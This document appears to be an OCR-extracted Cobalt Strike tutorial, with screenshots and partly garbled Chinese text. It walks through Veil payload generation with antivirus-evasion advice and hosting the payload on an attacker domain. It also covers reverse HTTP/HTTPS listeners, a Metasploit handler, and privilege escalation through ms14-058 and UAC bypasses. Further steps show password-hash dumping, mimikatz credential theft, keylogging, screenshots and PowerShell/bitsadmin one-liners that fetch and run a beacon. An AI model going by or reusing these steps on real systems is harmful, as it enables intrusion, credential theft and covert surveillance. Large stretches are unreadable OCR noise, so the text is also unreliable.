(K% LN UTAN (AN WE RS TETRY (A RS (FUARCTAR TR CEAN AN E AR Frks $UUN (AW S8 A% T EAF IO 8ITEAS LTAN CTAY DIRSE AN 15 &% FE TR 1
A LTS UTRS IR PR EEAS FIATEIAN FURV AR TORAT UARE TS FUAE RS FEAY {TUAN TEFAR (T4 {4 S A% FUAF ETATLEARE LIS ELAN FUAN K]
AR R AN E AR LAY ETAR CEAR GTAS L AN A RS FrAS F RS AN E AR LAY FIAR E AN FIAR E IR & 3T FLAR LT AN T AR L AR LAY LA 4T AN 7)
WEAMEI N E e 30 E BN E A R e v B e A BN T AR R R e e N E O E I e 0 E e\ E I 3B K M E 3N R A O 0 &Y
AR ETAT T AN LT AR LT AT LA LEAN AN LU AT AR L1 AR LEAF T AN LLAR LHAT DLAY LEAFLH AR L AR LAY LLAY CUATLTAY L1 A% 1 48 LAY L1 0% 11
LB e HE S E S0 x 58 x 58N k58 xS B R SE x50 S8 xSEY SE RSBV x L xS I F RS T ST RS T ST a5 L eba xlah x5
T e Tt Py ad S eeb e P9 Sh A e D e WS D ah D ba bl 30 x5 1S D a6 w50 x B0 w00 w00, x5 3% w508 x 6B 05T e B 29 e
VA ET T dS v reb\ b2 W5 31 nd 2\ xS 2 a6\ x DAY X 2\ n b0 X B x5 2\ x5 2% x5 2 S 1S 2 50 68 xeb 55 s 2o b\ T T xdS \ x B
R CR AN ERAT SRAF VAT LAY CTAR LYAY YRR it AN FO AR GRS E A FU AR A R D LAY S AN T A R RS CEAT AN A RN LAY SUCAN R AT LID AR L AN § |
iy xebs x09 268\ xaa'\ 2o xed gSdh e F Ay rdSh e B9 2o 1 e85y x 2 D Se v x I e FF\ xdS a3 e FA 257\ xba e B 7\ 25 1\ x56% x50 k6
RPN RTAN CAR TILAS SR A (AR 1RO RS LIIAF I RF LAY DA ELAS TP AR FEAS (T ST AN SR A% (A SRAN TR CLAN THAY L UAF 2 A% S0 A% 4 § A% ¥
Rl g9y xd ot xS eDO s x 0 g GRS\ xaX  xhE xR e PR ndS aha xd 0% x 68 g 00 x 10 x OB x 00 xR\ 00 x 00 x 4B\ x DO x5 T xh
ivxSE rad xS eSSk T M adS\ a0 xS xS g B xe M S PGB x 00 x 205 x 80 DD xS a6 v kb 2 1 2 k96 X B0\ xe X v T T\ xdS xB
AR CRGRY FE RS CRGAN§ RN IFAR LN AW TSRS + LA Tl (AN FAAE AN LT AN TR AR T AT EFAS SR RN SARTARAY T AAY LT AN ¥ EAY FUAN DTN 50 % FE LS 40N {1

T o L TN T LN [ ALY e T MY e (LT A AT LR T )

[>] Please enter the base name for output files (default is ‘'payload’'):| test
[*] How would you like to create your payload executable?
Pyinstaller (default)

Pwnstaller (obfuscated Pyinstaller loader)
Py2Exe

[>] Please enter the number of your choice: I

[?7] How would you like to create your payload executable?
1 - Pyinstaller (default)
2 - Punstaller (obfuscated Pyinstaller loader)
i - Py2Exe

[>] Please enter the number of your choice: 1




[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

AR ENE MR B CURCER/usr /share/veil -output /compiled/test. exe

Language: python

Payload: python/shellcode_inject/aes encrypt

Shellcode: custom

Required Options: COMPILE TO EXE=Y EXPIRE PAYLOAD=X
INJECT METHOD=Virtual USE PYHERION=N

Payload File: /usr/share/veil-output/source/test. py

*] Your payload files have been generated, don't get caught!

[
[!'] And don*t submit samples to any online scanner! ;)

[*] Press any key to return to the main nﬁnu.l




IE O EHEO B /U Qe B Fa § § = ———

external internal = user computer note prd last

Host File e ® ¢

Host a file through Cobalt Strike's web server

File: jusr/share/veil-output/compiledftest.exe

Local URI: | |test.exe

| Local Host: !ads.losenclove.com

- | Local Port: 80
Event Log X

| Mime Type: |automatic

Liunch | Help

Aa/1R 15101 raffi



B B T F B e VW = M W e D 9 mE = e

extarnal inteamal = user computer note pid
Bl 108519741 192.168266 bdade CLIMBER 564

Fas‘

1
S N

'_-.lr.__l‘:.1r'||:f' - j'i f-|||:||

[ Favontes

Ml Desktop

g Downloads

Recent Places
Event Log X

09/18 15:00:36 *** raff osted 11l Jubuntu/cobal 4 Libraries
http: //ads. Los
vays18 15 10006

8| Documents
a' Music

b= Pictures

E Videos

B Computer

i WP

#AZ| [beacon] -> Explore -> Port Scanner, L\S&isOi 3 TE,

Beacon 13#iwO

8 ¢ bdade » Downloads

Share with

[} 1.tﬂt



BN E=Se8s )l G Pa o

external iemnal = user comput ef
192.168.1.9% 10.10.10.190 e w52
Arcass
Envoting * | pesktop |
S

gOress

netmask
10.10.10.0 255.255.255.0
Forts 1:1024 . 5000-8000
| Max S gl g m
Discovenry arg -
Szan Halp
k

[ ]

heacons portscan 10,10,

10.0-10, 10. 10, 255
| Tasked heacon

1- 1024, %5000-6000
to scan ports

arp 1024
1- 1024, 5%000-6000 on

10.10.10.0-106, 10, 10, 25"




yLes
[+] received output

(ARP) Target '10.10.10.0" is alive. OA-00-27-00-00-00

(ARP) Target '10.10.10.5' is alive. 08B-00-27-1F-1D-86

(ARP) Target '10.10,10,9' is alive., 0B-00-27-23-A8-904

(ARP) Tarqe 10.10,10,21" 1s alive. 08-00-27-90-3C-64
(ARP) Targe 10,10,10,1" is alive. 08-00-27-26-CC-F9

(ARP) Targe 16.16.10.3" is alive, 08-00-27-1C-62-E1

(ARP) Targe 10.10,10.4" 1s alive, 08-00-27-5C-D4-AD

(ARP) Targe 10,10, 10, 18" is alive, 08-00-27-5A-B86-20

|+] received output
(ARP) Target '10.10,10,190° is alive. 08-00-27-1B-E8-82
(ARP) Target "10.10,10,189' is alive, 08-00-27-6A-A3-A4

12U GobD da B0

address = ——" namsa note
BN 10.10.10.0
B 10.10.10.1
B 10.10.10.3 DC
B 10.10.10.4 FILESERVER
B 10.10.105 MAIL
B 10.10.10.18 JOSHDEV
BN 10.10.10.21
Bl 10.10.10.189 CEOSBOX
B¢ 10.10.10.190 ws2
B 10.10.10.222

‘Ev-&nt[_uq x | Beacon 10.10.10.190@3664 X | Targets Xx
e Ry



' address ~

10.10.10.0

10.10.10

10.10.10.3 =)

10.10.10 4 Login v

10.10.10." whatta hogg@3664 »
10.10.10.18 Scan

10.10.10.186 %

Host
10.10.10.190 T

10.10.10.224

e e

Event Log Kl Beacon 10.10.10.190@3664 X | Targets x|

address port ~
10.10,10.0 22
10.10,10.21 22
10.10,10.5 25
10.10.10.3 53
10.10.10.1 53
10.10.10.21 80
10.10.10.0 80
10.10,10,1 Bl
10.10.10.3 BE
10.10,10.5 110
10,10,10.222 135

Listener Management

M‘=

banner

5SH-2.0-OpenSSH_S.3p1 Debian-3
SS5H-2.0-OpenSS5H_5.3pl Debian-3
220 ACME Corporation Mail Server |

k

FE AR Cobalt Strike Wi 2%, ik A\ %] Cobalt Strike - > Listeners. X 4] JF—
G R AT 2SR IR . i Add” 4224 DLEIEE B T 4% o



New Listener

Create a listener.

Payload: [windows,‘beacon_httpfreverse_http - ]

Host: [192.168.1.5 |

Port: |80 l

l Save ‘

SRR BE MR AR XA A A TR, Lo il sl B % )™
S Bl I HR S I E I A FR

{8 J1] Payload "I f 41 e FE MU &R B2 AL i) A7 Rk 1 3o

“host A1 port™y* BEE AT BB MATAEREATHE RS o 47T LAAE host™ 7 BrHh Al 8 44
JBI A

i Save FARIRAFWIUT A, I WU 28 5 B IR 5545 -

H{thi%IR

Listeners IBI-REFAKREERITEE, SREERMUTES, ASK Edit LIEST
2.

RHERR— NS MuFEE, ASE “ Remove” . BXUGMEIEXLEUSIFEEHIE
H

M Cobalt Strike H%5[4%.

{EF

{REJLAEFRER Cobalt Strike IREEANEERFFATHREAMAITES., XLIHREG 0T
et RERITEs. WRAT TR ERERERTR.



Foreign Listeners

Cobalt Strike 375 foreign listeners, X2 Metasploit ®EZE s E th Cobalt
Strike SLAIHFEER] x86 BB IEREFAIBIE. E5 Windows HTTPS
Meterpreter £iE&i#EE5H msfconsole fAAR, BENX—
windows/foreign/reverse {filff8, F4% Host #1 Port (BfSEEAMERRRE. &

B LAEHaERER Cobalt Strike {lfTE8a9tB 5 A/MERIINTES.

REEE

I MEY SIS E .

extemal nterral user computer -

Mew Listener .

Craate a istenar

MName: |local - beacon hetp

Payload: windows/beacon_hipireverse_hip

Host 192.168.1.2

Caeved

Port (8o

-

fvent Log xI Usteners X |

ame payload host




B T E e VO EE W E e =W

external internal = user computer
108.51.97 .41 10.10.10.189 jim.stevens CEQSBOX
108.51.97 41 10.10.10.190 whatta. hoaa ws2

108.51.97 41 172,16.20,174 Y Interact COPPER
108.51.97.41 172.16.48.80 | WIN-M|DTGN3QO

108.51.97 .41 192.168.2 66 CLIMBER
108.51.97.41 192.168.57.8 B pivoting » JOSHDEV

Session ¢

Event Log X Beacon 172.16.48.80@1312 X




external

108.51.97.41
108.51.97.41
108.51.97.41

108.51.97.41
108.51.97.41
108.51.97.41

intarnal =
10.10.10.189
10.10,10.190
172.16.20.174
172.16.48,80
1692.168,2 66
192.168,57.8

usar
jim.stevens
whatta hogg
whatta.hogg
raffi

bdade
josh.sokol

computer

CEOSBOX

ws2

COPPER
WIN-MDTGN3QOGK
CLIMBER

local - beacon http  windows/beacon_httpjreverse http
ec2 - beacon http windows/beacon_http/reverse_http

Event Log X | Beacon 172,16.48.80@1312

Choose

beacon=| spawn local - beacon http
[*] Task€l DEACON U0 Spawh WINdows/beacon_http/reverse _http (192.168.1.2:80)




=[ metasploit v4.11,4-20150902( I
-- ===[ 1476 exploits - 852 auxiliary - 239 post ]
-= ===[ 432 payloads - 37 encoders - 8§ nops ]
== ===[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

st > use exploit/multi/handler
nsT explodt( ) > set PAYLOAD windows/meterpreter/reverse_https
et PAYLOAD => windows/meterpreter/reverse https
) = set LPORT 443

PORT => 443
nsf exploit( ) > set LHOST 192.168.1.2
HOST => 192.168,1.2
st exploit( ) = exploit -j
[*] Exploit running as background job,
nsf exploit(

Started HTTPS reverse handler on https://0.0.0,0:443/

MNew Listener [= @' 0’

GK
Create a listener
Name: |[raffi's met erp h'..tp:-a
Paylo*d: windows/foreign/reverse_https -
Host: 102, 168.1.2
- Port 443 -
b
b k E




108.51.97.41
108.51.97.41

108.51.97.41
108.51.97.41
108.51.97.41

10.10.10.189
10,10,10.190

172.16.48.80
192.168.2 .66
192.168.57.8

jim.stevens CEOSBOX
whatta hogg Ws2
raffi WIN-M|DTGN3IQOGK
bdade CLIMBER
josh.sokol JOSHDEV
Choose a listene
payload |

Event Log X | Beacon 172.16.48.80@1312
payload

windows/beacon_http

namae

ec2 - beacon http

local - beacon http
ec2 - beacon http

windows/beacon_httpjreverse_http
windows/beacon_http/reverse_http

affi@ads.losenclove.co

PRALR

raffi@127.0.0.1

e [

#HAZl[beacon] - > Access - > Elevate LIS RIEHRIEFIA. EF—1

TS, WEE— exploit, A3 " Launch " L\

Beacon BURRHR R an S HIBIR.

Elevate

R

Attemnpt to execute a listener in an elevated context.

Listener: [beacun - http

~ || Add |

Exploit:  |ms14-058

d

Launch Help

\— /=

=17

1ZiwiE, IWXTEER



Cobalt Strike =1 AEKH:

ms14-058 22—~ (IIHIRY) PMURFAKBREFEER, FTRTRITHTHY

Windows 7 ZRFEH,

UAC DLL 2—Fh&eid UAC NINE , BB AT ETE RIS TRIB R E MR
PRIEFZIEIIR, LeIEER UAC IR Artifact Kit /A9 DLL SHIZHFN
V&, A, BEiT—MNEERF, ZNBERF (a) AsTIHEERENR,
(b) %% DLL #iFHIIE. XELBINES) Beacon 21ERY DLL, IWWINEE
F#F Windows 7 #1 Windows 8 K B ShRARIAKIE*MRZS, 215 Always Notify

WTHEHESRE, NILEEAErER,

uac-token-duplication 25 —f&eid UAC BT, B EMERBRIEAZIEN
IR ((FAAMERR) . XMIEFER— UACIKR, ARFIEEFHHESERM
RFHHRE PGSR EERHE. WWRFEKI MR o BCARA S EES
MUR, . WIREEIERT Windows 7 REERA. 215R Always Notify &bFH
EeRE, WK EEREFHHE S E LR RESIETIET (FAR—AF).
ItEiRsiEM#E A PowerShell A£R4TE,

AT LAEIT Elevate Kit [a) Cobalt Strike iFMIIAPRIEFRIE. Elevate Kit 2—
A~ Aggressor IR, BEIL TR RRSERMKE] Cobalt Strike 1,

https://github.com/rsmudge/ElevateKit,

Elevate Kit iI2AEH


https://github.com/rsmudge/ElevateKit

- S P S - S —

o 172.16.14.222 172.16.14,232 DESKTOP-FAPPSTF

Event Log X | Beacon 172.16.14.222@5012 X

beacon>| elevate

Beacon Exploits

Exploit Description

ms 14-058 IfrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-

uac-dll Bypass UA(



3
New Connection FE

Cobalt Strike

BU CelbD e IS

Listeners

Script Manag~yr

Close

P

bheacon> elevate

Beacon Exploits

Exploit

ms 14-058
uac-dll

Preferences internal = user computer
Visualization ¥ 172.16.14.129 user WIN-POKPH20BAKS
VPN Interfaces 172.16.14.,222 user

DESKTOP-FAPPS7F

Event Log X I Beacon 172.16.14.222@5012 X

Description

TrackPopupMenu Win32k NULL Pointer
Bypass UAIL

Dereference (CVE-20]:

Event Log X | Beacon 172.16.14.222@5012 X | Scnpts X

path

froot/elevatekit/elevate.cna




heacon> elevate
Beacon Exploits

s
Exploit Description

ms 14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-
ms 15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1761)

ms 16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0C
ms 16-032 Secondary Logon Handle Privilege Escalation (CVE-2016-09
uac-dll Bypass UA(

uac-eventvwi Bypass UAC with eventvwr.exe

uac-wscript lypass UAC with wscript.exe

) run: whoami Sfqroup

Everyone Well-known group
NL_AUTHORITY \Lacal account and member of Administrators group Well-known group
BUILTIN\Administrators Alias
HUILTIN\Users Alias

NT AUTHORITY\INTERACTIVE Wn group
CONSOLE LOGON WN Qroup
NT AUTHORITY\Authenticated Users group
NT AUTHORITY\This Organization Well-known group
NT AUTHORITY‘\Local account Well-known group
LOCAI Well-known group
NT ROTAORLTY \NTCH ROTHEnCica cLon Well-known qroup
Handatory Label\Medium Mandatory Level Label

bheacon> elevate wvac-eventvwr local - beacon smb
frasked Beaconm to run windows /beacon smb/hind pi




Bl 172.16.14.129 172.16.14.129 user WIN-POKPH20BAKS

172.16.14.222 so 172.16.14.222 user * DESKTOP-FAPPSTF

Kl 172.16.14.222 172.16.14.222 Iferact | DESKTOP-F4PPSTF
Access ¢
Explore

Pwoting »

Spawn
Sgssion *
Event Loa }(I Beacon 172.16.14.222@5012 X
u l'I?Iﬂlﬂ'I:‘g 1732 lﬂldi?ﬁ LISBr w
TH  172.16.14.222 oo 172.16.14.222 _
LT T I 1. 222 )P s T user DRI - FOFP Sl

EventLog X | Beacon 172.16,14,222@5012 X | Beacon 172.16.14.222@3232 X

I+] _established link to parent beacon: 172.16.
bheacon> hashdump
Lasked heacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes
Administrator:500: aad3b435b51404eeaad 3b435051404ee: 31d6c Tedd 16ae931b73c50d 7eOcOBOcD: ¢ ¢
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee: 31d6c fedd 16ae931b73c59d 7e OcO89cO;: ;

Guest:501:aad3b435b514904eeaad3b435051404¢ee: 31dbcTedd 16a4e931b /3c59d 7eBcOB9CD: & ¢
user:1000:aad3b435b514904eeaad3b435051404ee : 83414a6%9ad47ateec Te3a3i7do5aBlde3b: ¢ :




external intermnal = user computer

«%» 172.16.14.129 172.16.14.129 WIN-POKPH20BAKS
B 172.16.14,222 swoo 172.16.14 222 m;er " DESKTOP-FAPPSTF
Bl 172.16.14.222 172.16.14 222 Access * Ier DESKTOP-FAPPSTF

E.h:ph:irt" ;

Pwoting *

Spawn

Sassion »

heacon> elevate

Beacon Exploits

Exploit Description

ms 14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mridav.sys WebDav Local Privilege Escalation (CVE 2016-0C
ms 16-0832 Secondary Logon Handle Privilege Escalation (CVE-2016-09¢
uac-dll Bypass UAI

uac-eventvei Bypass UAC with eventvwr.exe

uac-wscript Bypass UAC with wscript.exe

Choose a listener

name -paﬂﬁad ' host .pnn
172.16.14.128
172.16.14.128

windows/beacon httpfreverse http
windows/beacon_smb/bind_pipe

local - beacon http
local - beacon smb

I Choose ||| . Add.|| Help




Bl 172.16.14.129 172.16.14.129 user WIN-POKPH20BAKS

172,16.14.129 ee=s 172.16.14,129 SYSTEM * WIN-POKPH20BAKS

Ll 172.16.14.222 oo 172.16.14.222 us DESKTOP-FAPPSTF
El 172.16.14.222 172.16.14.222 usq{ Access * DESKTOP-FAPPSTF
Explore »

Pivoting
Spawn

Seassion ¢

hrunuu» hashdump

[ Tasked beacon to dump hashes

[+] host called home, sent: 82501 bytes

|+] recelved password hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee: 31d6cTe0d 16ae931b 7359 7e0c089cO; ;
Guest:501:aad3b435b51404eeaad3b435b51404ee: 31d6cfedd16ae931b73c59d TeBcOB9CO; 1 1

user: 1000:aad3b435b51404eeaad3b435b514904ee: afcddee 7351d61dOD69ETo6da06b lebt o

beacon> Il"||_]ilr||:'l dsswords
; [ dveet—tegeon—bo—run mimikatz's sekurlsa::logonpasswords command
[+] host cal |.|.-'|| home, sent: 486994 bhytes

Process Browser

AZl [beacon] -> Explore -> Show Processes L TFF i a2
HENEEE RSN, ©EK Beacon BniAfEsIRF RS FAHXLER

Process Browser tB 2 NEtHIZEIS I, B2 FEEE T Ea 3B RE1CR
g8, RHBT—MEZMNHTE, REEFENEIERIPAVERIZH.



PID PPID Name Arch Session | User
1028 448 svchost.exe x86 0 NT AUTHC
1160 448 svchost.exe x86 0 MNT AUTHC
1276 448 svchost.exe xB6 0 NT ALUTHC
1708 448 svchost.exe x86 0 NT AUTHC
1740 448 svchost.exe %86 0 NT AUTHC
1988 448 svchost.exe x86 0 MNT ALITHC
1096 448 Searchindexer.exe xB6 0 NT AUTHC
1536 448 taskhost.exe x86 1 GLITTER\W
608 764 dwm.exe xB6 1 GLITTER\w
3788 448 taskhost.exe x86 1 GLITTER\W

‘ Kill ‘ [ Refresh ‘ I Inject ‘ ‘ Log Keystrokes H Screenshot ‘ l Steal Tc

HIZN TS

REREB RS MENTREG S BHE, Cobalt Strike GRR—1HE
MRS, IZWHFEN SRR A tE HHFERE W EHL, Process Browser AUIXFHZR
R215 Beacon HEHAFF A TERMEEIS N RANERES . IFTIEHES
THEF, REBREGFRF LAEBHE, AERESEESBERRRREX
LT ERRELMERHEERIRS.

INRIGRHBERE Beacon FiLEAIEREHIE, Cobalt Strike EER—i#H
FENIERS, IHEN SRR ST HAER B WM. Process Browser HJiXH
TR NG Beacon HEHIF A THERISEZBZIZ N RFNEEL . RFEHRE
ZirHE, RUEREGRALEEHE, 5% Screenshot 5

Keystrokes iZfHiGXL T BEERIMERHETRIRSE



KIMERPFIA

‘external internal = user computer
10.10.10.189

10.10.10.190

172.16.20,174 S b ¢ COPPER
172.16.48.80 WIN-MIDTGMNIQOGK
192.168.2.66 CLIMBER
192.168.57 .1 xplore Browser Pivot  [[EEgIsl=

Bivoting * | pasktop (VNC)

Spawn File Browser

Sgssion * | Net View

Port Scan

Process L.t

Sgreenshot

0 Tasked Beacons to log k
Event Log X | Processes X
sxternal Internal PID PPID 'Name =

108.51.97.41
108.51.97.41

97.41 74 ; g explorar.ex

10.10.10.189 3464 3440 evil.exe

192.1 B

97.41 72.16.48.80 2 explorer.ex

97.41 92.168.2.6€ 2676 2652 explorer.ax

explorer.exe

explorer.ex:

108.51.97.41 172.16.48.80 B40 660 Flashutil32_

108.51.97.41 172.16.48.80 3476 2692 iexplore exe
108.51.97.41 172.16.48.80 1096 3476 iexplore exe
108.51.97.41 172,16.48.80 2580 3476 iexplore.exe




Input
0 Take screenshots for X secc

k 500
Event Log X Processes X [ QK | |iCInl.'_‘llI|
External Internal PID FPID 'Name =

108.51.97 .41 10.10.10.189 3464 3440 evil.exe

- explorer.ex

192.168.57 .8

explorer.ex
B r |I'||"l'dr i
& I'_-||_|r ar.ax

explorer.ex

108.51.97.41 =

108.51.97.41 172.16.48.80 B840 660 Flashutil32_
108.51.97.41 172.16.48.80 3476 26892 iexplore exe
108.51.97.41 172.16.48.80 1096 3476 iexplore exe
108.51.97.41 172.16.48.80 2580 3476 in:q:tl%

l internal = user |

1] 10.10.10.189 jim.stevens |
o] 10.10.10.190 whatta.hogg '
[ @ | 172.16.20.174 whatta.hogg |
= 172.16.48 80 raffi '
=m 192.168.2.66 bdade |

192.168.57 .8




-

Event Log X | Processes X | Screenshots X | Keystrokes X

user computer pid when = '
bdade CLIMBER 2800 09/17 16:32:41 a»
whatta.hogg ws2 3064 09/17 16:32:41
josh.sokol JOSHDEV 1744 09/17 16:32:42
whatta.hogg COPPER 2172 09/17 16:32:44

bdade CLIMBER 2800 09/17 16:32:46

jim . stevens CEOSBOX 3464 0517 16:32:47

josh.sokol JOSHDEV k 1744 09/17 16:32:47
whaﬂa.hngg COPPER 2172 09/17 16:32:50
bdade CLIMBER 2800 09/17 16:32:51
whattahogg ~ Ws2 3064 09/17 16:32:52
S SR R FEACDAN SASA ARIAT 18955 | 1

Applications

| external| Credentials internal = user computer
Bl 108.51.9 Downloads 10.10.10.189 jim.stevens CEOSBOX
Bl 108.51.9 Event Log 10.10.10.190 whatta.hogg ws2
KA 108.51.5 172.16.20.174 whatta.hogg COPPER
B 108519 proxy Pivots 172.16.48.80 raffi WIN-MJDTGN3QO Gk
M 108518 192.168.2.66 bdade CLIMBER

Screenshots
Sgript Console

192.168.57.8

Targets
Web Log




10.10.10.189 jim.stevens

10.10.10.190 whatta.hoagg

whatta.hogg COPPER

Interact AN-MIDTGNIQOG
Access LIMBER

Explore » EEinitia

Pivoting *
2pawn

Processes X | Screenshots X | Keystrokes X

e IR e eaing

*) o o
wraLia. USTITIS TSI L i
bdade CLIMBER 2800 09/17 16:33:18

jim.stevens CEQSBOX 3464 09/17 16:33:17

whatta.hogg COPPER 2172 08/17 16:33:15

josh.sokaol JOSHDEWV 1744 09/17 16:33:13

whattahogg =~ Ws2 3064 09/17 16:33:13
&_Input

u How long should beacon sleep for (seconds jitter%s)?
|

i |
[_ﬂt_] | -can:el--_l

&_Input |
0 How long should beacon sleep for (seconds jitter%)?

3059 )

[_EE_| |--Can:el.-|

Reporting

Cobalt Strike 12t 7 ZFMREIEIN, AIRENE T MEEIRHRE - 2R E.
BRI LB E RS HIREP BRI, BBBFE.



FHAZ “ Reporting " FHEREARAIIEP—PRE., Cobalt Strike 254489

RESH MS Word & PDF 358z,

EiES (pdf)
TESHRESIRM T\ ESIRIATEIER,
FHIRE (.pdf)

FHUREZEENSLT T Cobalt Strike RUEHIEREL, WAMCRTEN, RS, &
HEGIEEN

TRk SRR pdf)

IR ERUTRIMERRSTRY "TRiEr" R, REERETER Malleable
C2 EeEXHRIERHT, EERREE LRI EERISIHRT MDS I5%51(E.

SRS (pdf)
IR SIRH TANENNTRER. BB SE, RSRIBERE, Fix
REHAEMEEBRR LR MD5 I5%5(E, FRELNENNIETH

HETERS (.pdf)

HRZRTRERHICRERRERIEXIEHME, IR RERIE AP IERR
B. WREXRERHRGRER KNI BEERF.

AR, BRATERERS (pdf)

IR EIE489 Cobalt Strike {7E0BETRI MITRE 9 ATTRCK Matrix &1, ATT&CK


https://www.cobaltstrike.com/downloads/reports/activityreport.pdf
https://www.cobaltstrike.com/downloads/reports/hostsreport.pdf
https://www.cobaltstrike.com/downloads/reports/sessionsreport.pdf
https://www.cobaltstrike.com/downloads/reports/socialengineeringreport.pdf

R T B NERUURSNFNRRSZE, EaJLAE https://attack.mitre.org TH&

E2%F MITRE g9 ATT&CK B8

BHEXIFE

Cobalt Strike IREEE—RIRERE R Cobalt Strike Bltx. EaT LA FAE CERN

E&EimKE. HAZ Cobalt Strike -> Preferences -> Reporting ik &

CEERER. BRLIREREG, BN FHREERRE—TER T SRE

.
=%,

* Cobalt Strike

L] console

¥ Fingerprints

E Graph
Reporting

L] statusbar

B Team Servers

Preferences - | O

These options allow you to customize Cobalt Strike's report
termplate and load custom reports.

Accent Color: [#000099 | [
Logo: liroot/reports/logo2 png ="
Reports: l L l

a

| Save

RSB

BB ENXEGNZZE 1192X257px, 1’REJ9 300dpi, 300dpi IREEHKRZRS

ZLAERRIA/NEIEGRFT A FRY,



https://attack.mitre.org/
https://www.cobaltstrike.com/images/logo2.png

BHEXIRS

Cobalt Strike (FESETIHANESRKENXHIRS. ETLUBY " Report
Preferences” INFIERMNEFBCHRS. E7THEXININEENEZER, B2

i) Aggressor Script X8Ry “ BENIES" —=

Resource Kit

Resource Kit &2 Cobalt Strike %2 Cobalt Strike HFE TERIZHERI HTA,
PowerShell, Python, VBA #1VBS HAt&EIRAYAE. [FHE, Resource Kit B]

{3t Cobalt Strike FEPAGFRTFBF#ERE. #AZ] Help -> Arsenal T

Resource Kit,

Resource Kit fiit5H README.txt ic5: 7 S 29 A LN ERE(INTHEE, B

HIRLEE AV 19E, 155 SR SUX LA R IR SR EAHE

E(sF Cobalt Strike EARERI AR _EERBIAENR, 15002 Resource Kit it

i resources.cna fi7R.,

Resource Kit


https://www.cobaltstrike.com/aggressor-script/reports.html

Packages

Manage
&Dlnr Ph'sh ;lon. Site
Host File

Signed Applet Attack
Smart Applet Attack
System Profiler

- ¥

Event Log X |

ATOTTCS .

e

This attack hosts an artifact that delivers a Cobalt Strike
payload, The provided one-liner will allow you to quickly get

URI Path:  |/a |

Local Host: [172,16.4,134 |

Local Port: |80 |

Listener;  |beacon - http -] W

Type: !p_ﬁw.rlhﬂ 'J

lakeunchg) (ghielpg)
Success !ﬂﬂ

Started service: Scripted Web Delivery
Copy and paste this URL to access it
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EventLog X | Scripts x | Sites x

URI | Host | Port Type | Description
stager6d 80 beacon beacon stager x6
beacon.http-post 80 beacon beacon post hane
beacon http-get 80 beacon beacon handler

stager 80 beacon beacon stager x8

Scripted Web Delivery -Eﬂ

This attack hosts an artifact that delivers a Cobalt Strike ~
p.ylnalﬂ. The provided one-liner will allow you to quickly get

URI Path: /b |
Local Host: |172.16.4.134 |
Local Port: |80 |
Listener:  |beacon - http - w
Type: {pwtrlhﬂ |

ELST] T



|
Success : I

Started service: Scripted Web Delivery
Copy and paste this URL to access it

1
|
|
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Scripted Web Delivery

Z Attacks -> Web Drive-by -> Scripted Web Delivery THgE=4/5ah(5
R, EECEEIIERT Web fRS3ER £, FHRE T — MR THFAITI TIZ e MES,

1ZEINEE: bitsadmin, powershell, python #0 regsvr32,

Z Attacks -> Web Drive-by -> Scripted Web Delivery &£5i— artifact
FHE5h Beacon, 1SEIEETE Cobalt Strike 89 web IR EE F, FHRH— BT
TEFNZETT artifact (9—17/ERF. EIMEHE: bitsadmin, powershell, python

#0 regsvr32,

bitsadmin FEIHEE— N0 H1T314E, FHER bitsadmin TEE. bitsadmin
FEET cmd.exe B TR H4TSE, PowerShell EITIEE PowerShell B7,

FHEFE PowerShell.exe FEIZBIAFXIELH TG, python EIHEE—



python BiIZ, FHER python.exe TEFHZITIZMIA, regsvr32 kg —
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https://www.cobaltstrike.com/help-malleable-c2#validssl
https://www.cobaltstrike.com/help-malleable-c2#validssl

- scripted Web Delivery - + X

This attack hosts an artifact that delivers a Cobalt Strike
payload. The provided one-liner will allow you to quickly get  _

LRl Path: |fa

Local Host: |172.16.14.197

Local Port: |80

Listener: llocal - beacon http - || Add |

| Type: j;r.olererlshgll. : s

python :
regswriz

- Success - % X

Started service: Scripted Web Delivery
Copy and paste this URL to access it

'-j_sﬁeluf-siieli.e:{ﬁ ner u» Hrd;d_ﬂ?-iﬁ . "'IEﬁcj_f.'l.’r_r-

Ok

Type the name of & program, folder, document, or Internet
resource, and Windows will open it for you.




. 172.16.14.1 172.16.2081 whatta.hogg CﬁlPF‘ER

Event Log X ] Web Log X

05/16 00:32:36 visit from: 172.16.14.1
Request: GET fa
page Scripted Web Delivery (powershell)
null

05/16 00:32:36 visit from: 172.16.14.1
Request: GET fRLPY/
beacon beacon stager @86
Mozilla/5.0 (compatible; WSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0)

axternal internal = user computer

& 172.16.14.1 172.16.20.81

Interact
AcCcess ¢
Explore »

Prvoting »

Spawn

sesson[note

Bemove

Sleep

Exit




- Input x

o

Set Beacon Mote:

external internal = computer

172.16.14.1 172.16.20.81 whatta.hogg COPPER

Packages
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| » Scripted Web Delivery - + X
This attack hosts an artifact that delivers a Cobalt Strike 4
payload. The provided one-liner will allow you to quickly get  _
UR Path: /b |
Local Host: [172.16.14.197 |
Local Port: |80 |

J Listener: }Iucal - beacon http - ] W L
Type: tbitsadmin -
I (o) e I

- Success - + X

Started service: Scripted Web Delivery
Copy and paste this URL to access it

ﬂ'nd.exe fc bitsadmin ftransfer 8d68 http|

i Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

external internal = user computer

& 172.16.14.1 172.16.20.81 whatta hogg COPPER



=ATEE TR RIS -1RRE- 1 Has e
172,16.14.1 172.16.20.81 whatta.hogg COPPER
A 172.16.14.1 172.16.20.81 whatta.hogg COPPER

] web Log X L Input
Event Log X eb Lo
. s o & - Set Beacon Mote:

Microsoft BITS/7.8 . i = J |b'tsadmi

)5/16 00:33:41 visit from /2.16. 5 [_ o’ | | S2nce |
||!|_'l||||_"-.. I GET -"Ih

exrernal interman = user compucer
& 172.16.14.1 172.16.20.81 whatta.hogg COPPER
Bl 172.16.14.1 172.16.20.81 whatta.hogg COPPER
A4 Scripted Web Delivery - 4+ X
This attack hosts an artifact that delivers a Cobalt Strike =

payload. The provided one-liner will allow you to quickly get

